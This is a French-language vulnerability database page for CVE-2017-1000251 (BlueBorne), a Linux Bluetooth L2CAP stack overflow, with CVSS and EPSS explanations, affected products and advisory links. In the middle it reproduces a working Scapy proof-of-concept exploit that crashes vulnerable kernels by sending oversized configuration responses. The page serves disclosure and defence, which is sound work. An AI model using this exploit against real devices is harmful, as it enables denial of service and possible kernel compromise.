CVE-2017-1000251 : Détail

CVE-2017-1000251

8
/
Haute
Overflow
16.07%V3
Adjacent
2017-09-12
15h00 +00:00
2018-02-16
09h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The native Bluetooth stack in the Linux Kernel (BlueZ), starting at the Linux kernel version 2.6.32 and up to and including 4.13.1, are vulnerable to a stack overflow vulnerability in the processing of L2CAP configuration responses resulting in Remote code execution in kernel space.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8 HIGH CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.7 AV:A/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42762

Date de publication : 2017-09-20 22h00 +00:00
Auteur : Marcin Kozlowski
EDB Vérifié : No

# Exploit Title: BlueBorne - Proof of Concept - Unarmed/Unweaponized - DoS (Crash) only # Date: 09/21/2017 # Exploit Author: Marcin Kozlowski <[email protected]> # Version: Kernel version v3.3-rc1, and thus affects all version from there on # Tested on: Linux 4.4.0-93-generic #116 # CVE : CVE-2017-1000251 # Provided for legal security research and testing purposes ONLY. Proof of Concept - Crash Only - Unarmed/Unweaponized/No Payload After reading tons of Documentation and Protocol specifications. 1) Install Scapy https://github.com/secdev/scapy Add/Replace these requests and responses in Bluetooth Protocol stack to these: scapy/layers/bluetooth.py class L2CAP_ConfReq(Packet): name = "L2CAP Conf Req" fields_desc = [ LEShortField("dcid",0), LEShortField("flags",0), ByteField("type",0), ByteField("length",0), ByteField("identifier",0), ByteField("servicetype",0), LEShortField("sdusize",0), LEIntField("sduarrtime",0), LEIntField("accesslat",0), LEIntField("flushtime",0), ] class L2CAP_ConfResp(Packet): name = "L2CAP Conf Resp" fields_desc = [ LEShortField("scid",0), LEShortField("flags",0), LEShortField("result",0), ByteField("type0",0), ByteField("length0",0), LEShortField("option0",0), ByteField("type1",0), ByteField("length1",0), LEShortField("option1",0), ByteField("type2",0), ByteField("length2",0), LEShortField("option2",0), ByteField("type3",0), ByteField("length3",0), LEShortField("option3",0), ByteField("type4",0), ByteField("length4",0), LEShortField("option4",0), ByteField("type5",0), ByteField("length5",0), LEShortField("option5",0), ByteField("type6",0), ByteField("length6",0), LEShortField("option6",0), ByteField("type7",0), ByteField("length7",0), LEShortField("option7",0), ByteField("type8",0), ByteField("length8",0), LEShortField("option8",0), ByteField("type9",0), ByteField("length9",0), LEShortField("option9",0), ByteField("type10",0), ByteField("length10",0), LEShortField("option10",0), ByteField("type11",0), ByteField("length11",0), LEShortField("option11",0), ByteField("type12",0), ByteField("length12",0), LEShortField("option12",0), ByteField("type13",0), ByteField("length13",0), LEShortField("option13",0), ByteField("type14",0), ByteField("length14",0), LEShortField("option14",0), ByteField("type15",0), ByteField("length15",0), LEShortField("option15",0), ByteField("type16",0), ByteField("length16",0), LEShortField("option16",0), ByteField("type17",0), ByteField("length17",0), LEShortField("option17",0), ByteField("type18",0), ByteField("length18",0), LEShortField("option18",0), ByteField("type19",0), ByteField("length19",0), LEShortField("option19",0), ByteField("type20",0), ByteField("length20",0), LEShortField("option20",0), ByteField("type21",0), ByteField("length21",0), LEShortField("option21",0), ByteField("type22",0), ByteField("length22",0), LEShortField("option22",0), ByteField("type23",0), ByteField("length23",0), LEShortField("option23",0), ByteField("type24",0), ByteField("length24",0), LEShortField("option24",0), ByteField("type25",0), ByteField("length25",0), LEShortField("option25",0), ByteField("type26",0), ByteField("length26",0), LEShortField("option26",0), ByteField("type27",0), ByteField("length27",0), LEShortField("option27",0), ByteField("type28",0), ByteField("length28",0), LEShortField("option28",0), ByteField("type29",0), ByteField("length29",0), LEShortField("option29",0), ByteField("type30",0), ByteField("length30",0), LEShortField("option30",0), ByteField("type31",0), ByteField("length31",0), LEShortField("option31",0), ByteField("type32",0), ByteField("length32",0), LEShortField("option32",0), ByteField("type33",0), ByteField("length33",0), LEShortField("option33",0), ByteField("type34",0), ByteField("length34",0), LEShortField("option34",0), ByteField("type35",0), ByteField("length35",0), LEShortField("option35",0), ByteField("type36",0), ByteField("length36",0), LEShortField("option36",0), ByteField("type37",0), ByteField("length37",0), LEShortField("option37",0), ByteField("type38",0), ByteField("length38",0), LEShortField("option38",0), ByteField("type39",0), ByteField("length39",0), LEShortField("option39",0), ByteField("type40",0), ByteField("length40",0), LEShortField("option40",0), ByteField("type41",0), ByteField("length41",0), LEShortField("option41",0), ByteField("type42",0), ByteField("length42",0), LEShortField("option42",0), ByteField("type43",0), ByteField("length43",0), LEShortField("option43",0), ByteField("type44",0), ByteField("length44",0), LEShortField("option44",0), ByteField("type45",0), ByteField("length45",0), LEShortField("option45",0), ByteField("type46",0), ByteField("length46",0), LEShortField("option46",0), ByteField("type47",0), ByteField("length47",0), LEShortField("option47",0), ByteField("type48",0), ByteField("length48",0), LEShortField("option48",0), ByteField("type49",0), ByteField("length49",0), LEShortField("option49",0), ByteField("type50",0), ByteField("length50",0), LEShortField("option50",0), ByteField("type51",0), ByteField("length51",0), LEShortField("option51",0), ByteField("type52",0), ByteField("length52",0), LEShortField("option52",0), ByteField("type53",0), ByteField("length53",0), LEShortField("option53",0), ByteField("type54",0), ByteField("length54",0), LEShortField("option54",0), ByteField("type55",0), ByteField("length55",0), LEShortField("option55",0), ByteField("type56",0), ByteField("length56",0), LEShortField("option56",0), ByteField("type57",0), ByteField("length57",0), LEShortField("option57",0), ByteField("type58",0), ByteField("length58",0), LEShortField("option58",0), ByteField("type59",0), ByteField("length59",0), LEShortField("option59",0), ByteField("type60",0), ByteField("length60",0), LEShortField("option60",0), ByteField("type61",0), ByteField("length61",0), LEShortField("option61",0), ByteField("type62",0), ByteField("length62",0), LEShortField("option62",0), ByteField("type63",0), ByteField("length63",0), LEShortField("option63",0), ByteField("type64",0), ByteField("length64",0), LEShortField("option64",0), ByteField("type65",0), ByteField("length65",0), LEShortField("option65",0), ByteField("type66",0), ByteField("length66",0), LEShortField("option66",0), ByteField("type67",0), ByteField("length67",0), LEShortField("option67",0), ByteField("type68",0), ByteField("length68",0), LEShortField("option68",0), ByteField("type69",0), ByteField("length69",0), LEShortField("option69",0), ] 2) Exploit bluebornexploit.py ------------------------ from scapy.all import * pkt = L2CAP_CmdHdr(code=4)/ L2CAP_ConfReq(type=0x06,length=16,identifier=1,servicetype=0x0,sdusize=0xffff,sduarrtime=0xffffffff,accesslat=0xffffffff,flushtime=0xffffffff) pkt1 = L2CAP_CmdHdr(code=5)/ L2CAP_ConfResp(result=0x04,type0=1,length0=2,option0=2000,type1=1,length1=2,option1=2000,type2=1,length2=2,option2=2000,type3=1,length3=2,option3=2000,type4=1,length4=2,option4=2000,type5=1,length5=2,option5=2000,type6=1,length6=2,option6=2000,type7=1,length7=2,option7=2000,type8=1,length8=2,option8=2000,type9=1,length9=2,option9=2000,type10=1,length10=2,option10=2000,type11=1,length11=2,option11=2000,type12=1,length12=2,option12=2000,type13=1,length13=2,option13=2000,type14=1,length14=2,option14=2000,type15=1,length15=2,option15=2000,type16=1,length16=2,option16=2000,type17=1,length17=2,option17=2000,type18=1,length18=2,option18=2000,type19=1,length19=2,option19=2000,type20=1,length20=2,option20=2000,type21=1,length21=2,option21=2000,type22=1,length22=2,option22=2000,type23=1,length23=2,option23=2000,type24=1,length24=2,option24=2000,type25=1,length25=2,option25=2000,type26=1,length26=2,option26=2000,type27=1,length27=2,option27=2000,type28=1,length28=2,option28=2000,type29=1,length29=2,option29=2000,type30=1,length30=2,option30=2000,type31=1,length31=2,option31=2000,type32=1,length32=2,option32=2000,type33=1,length33=2,option33=2000,type34=1,length34=2,option34=2000,type35=1,length35=2,option35=2000,type36=1,length36=2,option36=2000,type37=1,length37=2,option37=2000,type38=1,length38=2,option38=2000,type39=1,length39=2,option39=2000,type40=1,length40=2,option40=2000,type41=1,length41=2,option41=2000,type42=1,length42=2,option42=2000,type43=1,length43=2,option43=2000,type44=1,length44=2,option44=2000,type45=1,length45=2,option45=2000,type46=1,length46=2,option46=2000,type47=1,length47=2,option47=2000,type48=1,length48=2,option48=2000,type49=1,length49=2,option49=2000,type50=1,length50=2,option50=2000,type51=1,length51=2,option51=2000,type52=1,length52=2,option52=2000,type53=1,length53=2,option53=2000,type54=1,length54=2,option54=2000,type55=1,length55=2,option55=2000,type56=1,length56=2,option56=2000,type57=1,length57=2,option57=2000,type58=1,length58=2,option58=2000,type59=1,length59=2,option59=2000,type60=1,length60=2,option60=2000,type61=1,length61=2,option61=2000,type62=1,length62=2,option62=2000,type63=1,length63=2,option63=2000,type64=1,length64=2,option64=2000,type65=1,length65=2,option65=2000,type66=1,length66=2,option66=2000,type67=1,length67=2,option67=2000,type68=1,length68=2,option68=2000,type69=1,length69=2,option69=2000) bt = BluetoothL2CAPSocket("00:1A:7D:DA:71:13") bt.send(pkt) bt.send(pkt1) bluetoothsrv.py -------------------- from scapy.all import * bt = BluetoothL2CAPSocket("01:02:03:04:05:06") bt.recv() DEMO: https://imgur.com/a/zcvLb

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.32 To (excluding) 3.2.94

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.16.49

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.71

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.45

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.88

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.50

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.12.13

Linux>>Linux_kernel >> Version From (including) 4.13 To (excluding) 4.13.2

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Nvidia>>Jetson_tk1 >> Version r21

Nvidia>>Jetson_tk1 >> Version r24

Nvidia>>Jetson_tx1 >> Version r21

Nvidia>>Jetson_tx1 >> Version r24

Linux>>Linux_kernel >> Version -

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 6.2

Redhat>>Enterprise_linux_server_aus >> Version 6.4

Redhat>>Enterprise_linux_server_aus >> Version 6.6

Redhat>>Enterprise_linux_server_aus >> Version 7.2

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_aus >> Version 7.7

Redhat>>Enterprise_linux_server_eus >> Version 6.7

Redhat>>Enterprise_linux_server_eus >> Version 7.2

Redhat>>Enterprise_linux_server_eus >> Version 7.3

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.7

Redhat>>Enterprise_linux_server_tus >> Version 6.5

Redhat>>Enterprise_linux_server_tus >> Version 6.6

Redhat>>Enterprise_linux_server_tus >> Version 7.2

Redhat>>Enterprise_linux_server_tus >> Version 7.3

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.7

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Références

https://access.redhat.com/errata/RHSA-2017:2732
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/42762/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:2705
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2683
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2704
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2682
Tags : vendor-advisory, x_refsource_REDHAT
https://www.armis.com/blueborne
Tags : x_refsource_MISC
http://www.securitytracker.com/id/1039373
Tags : vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2017:2731
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3981
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2017:2706
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/100809
Tags : vdb-entry, x_refsource_BID
https://www.kb.cert.org/vuls/id/240311
Tags : third-party-advisory, x_refsource_CERT-VN
https://access.redhat.com/errata/RHSA-2017:2681
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2679
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2680
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2707
Tags : vendor-advisory, x_refsource_REDHAT